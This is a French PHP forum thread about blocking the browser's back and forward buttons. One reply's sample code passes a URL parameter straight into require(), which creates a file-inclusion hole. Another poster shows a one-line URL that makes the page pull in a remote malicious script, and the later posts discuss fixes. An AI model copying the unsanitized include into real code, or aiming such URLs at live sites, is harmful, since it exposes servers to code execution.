IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage PHP Discussion :

comment désactiver l'action du bouton précédent et suivant du navigateur


Sujet :

Langage PHP

  1. #1
    Membre régulier Avatar de karimphp
    Développeur Web
    Inscrit en
    Avril 2006
    Messages
    183
    Détails du profil
    Informations personnelles :
    Âge : 42

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Avril 2006
    Messages : 183
    Points : 110
    Points
    110
    Par défaut comment désactiver l'action du bouton précédent et suivant du navigateur
    salut j'ais 2 pages la premiere page contient un champ select qui possede les valeurs de 1 a50 et un boutton qui poste le choix d'un valeur ver la 2éme page , cette derniére va addessioner la valeur existe avec la nouvelle valeur du champ select.
    le problemme c'est quand je suis dans la 2em page , et que je fait un click sur le boutton precedente du navigateur puis par le boutton suivant je trouve le resultat final addessioné de nouveau par la valeur precedente . il ya il une solution qui me permet d'ignore l'action de ces boutton(precedent et suivant) afin que le resultat ne change pas . saufe quand je click sur le boutton submit

  2. #2
    Membre éprouvé
    Avatar de ozzmax
    Inscrit en
    Novembre 2005
    Messages
    977
    Détails du profil
    Informations personnelles :
    Âge : 41

    Informations forums :
    Inscription : Novembre 2005
    Messages : 977
    Points : 959
    Points
    959
    Par défaut
    ben tu ne peux pas désactiver tes bouton de navigations
    a moins que quand tu ouvre ton site tu ouvre une popup en lui spécifiant pas de barre de navigation et tout
    mais la popup peut etre bloquée

    Alors pour palier à ta situation...tu peux passer avec des variable session
    du genre $_session['provenance'] = "tapage1.php";

    et dans ta page2 tu valide que ca ne puisse provenir seulement que de la page1...ainsi..si ce n'est pas le cas
    tu le redirige ailleur avec un message s'il vous plait n'utilisez pas les bouton de navigation de l'explorer...

    J'utilise cette méthode pour empecher de faire un multiple insert dans ma bd si l'usager fait par exemple actualiser a un endroit qu'il ne devrait pas...
    La perfection n'est pas un but, l'amélioration constante devrait l'être!
    La position des Développeurs de developpez avec les explications

  3. #3
    Rédacteur
    Avatar de marcha
    Homme Profil pro
    Développeur Web
    Inscrit en
    Décembre 2003
    Messages
    1 571
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 53
    Localisation : Suisse

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Décembre 2003
    Messages : 1 571
    Points : 2 351
    Points
    2 351
    Par défaut
    Si tu veux éviter l'usage des boutons "précédent" "suivant" tu peux faire croire au navigateur qu'il n'y pas changé de page. Ceci en gérant une navigation basée sur des commandes et géré par une session, voici un petit exemple:

    page principale:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
     
    <?
    	session_start();
     
    	if(isset($_REQUEST['page'])) { // si le parmètre page et passé dans l'url
    		$_SESSION['page'] = $_REQUEST['page']; // mémorise en session
    		header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']); // nettoye l'url
    		exit;
    	}
     
    	if(!isset($_SESSION['page'])) $_SESSION['page'] = 'page1'; // défini une page par défaut
     
    	require($_SESSION['page'].'.php'); // charge la page courrante
    ?>
    page1.php
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
     
    <? 
    echo "<h1>Page 1</h1>";
    echo "<a href='?page=page2'>Go to page 2</a>";
    ?>
    page2.php
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
     
    <? 
    echo "<h1>Page 2</h1>";
    echo "<a href='?page=page1'>Go to page 1</a>";
    ?>
    Ainsi ton navigateur croit qu'il reste sur la même page, donc, pas d'historique, et pas de possibilité de faire "précédent"
    Si ton code fait plus d'une ligne, c'est que tu as mal choisi ton langage !

  4. #4
    Membre éclairé
    Avatar de kankrelune
    Profil pro
    Inscrit en
    Décembre 2005
    Messages
    763
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2005
    Messages : 763
    Points : 858
    Points
    858
    Par défaut
    @ marcha... ton code en l'état est dangereux au possible... si je fais

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    http://www.tonSite.ext/taPage.php?page=http://www.monSite.ext/scriptPasGentilDuTout
    tu risque d'avoir de sérieux ennuis... .. .

    @ tchaOo°

  5. #5
    Rédacteur
    Avatar de marcha
    Homme Profil pro
    Développeur Web
    Inscrit en
    Décembre 2003
    Messages
    1 571
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 53
    Localisation : Suisse

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Décembre 2003
    Messages : 1 571
    Points : 2 351
    Points
    2 351
    Par défaut
    Citation Envoyé par kankrelune
    @ marcha... ton code en l'état est dangereux au possible... si je fais

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    http://www.tonSite.ext/taPage.php?page=http://www.monSite.ext/scriptPasGentilDuTout
    tu risque d'avoir de sérieux ennuis... .. .

    @ tchaOo°
    Oui, c'est clair qu'il faut sécuriser ce code et ne pas l'utiliser tel quel, mais ceci n'est qu'un exemple de principe de fonctionnement, merci pour avoir souligné le
    problème de sécurité
    Si ton code fait plus d'une ligne, c'est que tu as mal choisi ton langage !

  6. #6
    Membre émérite

    Homme Profil pro
    Expert PHP
    Inscrit en
    Novembre 2004
    Messages
    2 127
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 40
    Localisation : France, Loire Atlantique (Pays de la Loire)

    Informations professionnelles :
    Activité : Expert PHP
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Novembre 2004
    Messages : 2 127
    Points : 2 557
    Points
    2 557
    Par défaut
    Citation Envoyé par kankrelune
    @ marcha... ton code en l'état est dangereux au possible... si je fais

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    http://www.tonSite.ext/taPage.php?page=http://www.monSite.ext/scriptPasGentilDuTout
    tu risque d'avoir de sérieux ennuis... .. .

    @ tchaOo°
    faut pas déconner non plus, au pire tu inclues une autres page HTML, et/ou une page PHP du meme serveur que tu aurais pas du voir, mais tu peux pas inclure une page PHP d'un autre serveur ...

  7. #7
    Membre éclairé
    Avatar de kankrelune
    Profil pro
    Inscrit en
    Décembre 2005
    Messages
    763
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2005
    Messages : 763
    Points : 858
    Points
    858
    Par défaut
    Si l'inclusion de code est tout à fait possible... je ne dirais pas comment mais c'est très simple... tu peux également faire une attaque xss... .. .

    @ tchaOo°

  8. #8
    Membre confirmé
    Inscrit en
    Février 2005
    Messages
    419
    Détails du profil
    Informations personnelles :
    Âge : 39

    Informations forums :
    Inscription : Février 2005
    Messages : 419
    Points : 532
    Points
    532
    Par défaut
    Si l'inclusion de code est tout à fait possible... je ne dirais pas comment mais c'est très simple...
    Hein ???
    Tu vas nous dire qu'il est possible d'aller chercher le code PHP d'un script sur un autre serveur ??????

    [EDIT]Nan c'est bon j'ai compris ce que tu voulais dire en fait. C'est quand j'ai lu le mode "code" j'ai pris peur [/EDIT]

  9. #9
    Membre émérite

    Homme Profil pro
    Expert PHP
    Inscrit en
    Novembre 2004
    Messages
    2 127
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 40
    Localisation : France, Loire Atlantique (Pays de la Loire)

    Informations professionnelles :
    Activité : Expert PHP
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Novembre 2004
    Messages : 2 127
    Points : 2 557
    Points
    2 557
    Par défaut
    moi j'ai toujours pas compris ce que tu veux dire par la kankrelune, si tu veux m'expliquer en MP ou ici, pas de probleme.

  10. #10
    Membre confirmé
    Inscrit en
    Février 2005
    Messages
    419
    Détails du profil
    Informations personnelles :
    Âge : 39

    Informations forums :
    Inscription : Février 2005
    Messages : 419
    Points : 532
    Points
    532
    Par défaut
    Maxoo recherche attaque xss sur google, on trouve pas mal de truc intéressants dans les premiers résultats.
    Je me suis renseigné tout à l'heure car j'étais aussi perplexe que toi et ce que j'ai trouvé m'a pas mal bluffé.

  11. #11
    Membre émérite

    Homme Profil pro
    Expert PHP
    Inscrit en
    Novembre 2004
    Messages
    2 127
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 40
    Localisation : France, Loire Atlantique (Pays de la Loire)

    Informations professionnelles :
    Activité : Expert PHP
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Novembre 2004
    Messages : 2 127
    Points : 2 557
    Points
    2 557
    Par défaut
    Oui, je sais qu'on peut include du javascript malicieux, mais je parlais que de PHP moi !!!

    faut bien relire mon post !!

    de plus il fait
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    require($_SESSION['page'].'.php');
    il faudrait donc que tu saches que ca includes une page et ajoute l'extension php, donc il faut que tu fasse un code malicieux en javascript, que tu le mettes dans une page php, et que tu sache qu'il faut que tu appelles

    pour être sur de n'avoir pas de probleme, tu peux faire plutot :
    ?page=1 en gros n'utiliser que des chiffres et dans ton code PHP, faire un intval de ce que tu choppes dans le GET !!

    Et comme ca, no probleme.

  12. #12
    Rédacteur
    Avatar de marcha
    Homme Profil pro
    Développeur Web
    Inscrit en
    Décembre 2003
    Messages
    1 571
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 53
    Localisation : Suisse

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Décembre 2003
    Messages : 1 571
    Points : 2 351
    Points
    2 351
    Par défaut
    Moi en général je met les pages dans un même dossier et je filtre le nom de page
    en virant les "/" ou ".." ou "://" ensuite je fait encore un if(file_exists(...)) avant
    d'inclure.
    Si ton code fait plus d'une ligne, c'est que tu as mal choisi ton langage !

  13. #13
    Membre émérite

    Homme Profil pro
    Expert PHP
    Inscrit en
    Novembre 2004
    Messages
    2 127
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 40
    Localisation : France, Loire Atlantique (Pays de la Loire)

    Informations professionnelles :
    Activité : Expert PHP
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Novembre 2004
    Messages : 2 127
    Points : 2 557
    Points
    2 557
    Par défaut
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    require('./'.$_SESSION['page'].'.php');
    il est vrai qu'en rajoutant ca, ou le bon chemin pour aller dans le dossier des pages à inclures, il n'y a plus de possibilité d'attaques.

  14. #14
    Membre éclairé
    Avatar de kankrelune
    Profil pro
    Inscrit en
    Décembre 2005
    Messages
    763
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2005
    Messages : 763
    Points : 858
    Points
    858
    Par défaut
    Attention ne pas confondre inclusion de code executable et attaque xss... si cette dernière peut être redoutable la première reste bien plus destructrice... cela peut aller jusqu'a compromettre le serveur en entier (avec prise de controle et tout le toutim) si le pirate s'y connait assez... en attendant dans ce cas précis les deux sont valable... .. .

    Maxoo => PM... .. .

    Concernant la protection plusieurs solutions... s'il y a peu de page et de maintenance un switch avec un id (numérique ou non) fait l'affaire sinon le mieux est de mettre les page dans un repertoire propre (protégé par htaccess), de nettoyer la variable des slashes et antislashes, de forcer le chemin (par exemple avec . ou dirname(_FILE_)) et de tester l'existance du fichier en local via file_exists ou is_file... .. .

    @ tchaOo°

Discussions similaires

  1. Réponses: 3
    Dernier message: 29/12/2008, 16h31
  2. Boutons "précédent" et "suivant" du navigateur
    Par cocoyot dans le forum JSF
    Réponses: 3
    Dernier message: 19/03/2008, 15h46
  3. Réponses: 3
    Dernier message: 29/05/2007, 10h21
  4. Réponses: 8
    Dernier message: 04/04/2007, 11h16
  5. Comment désactiver les actions automatiques de Windows ?
    Par j-phi dans le forum API, COM et SDKs
    Réponses: 7
    Dernier message: 06/01/2005, 12h53

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo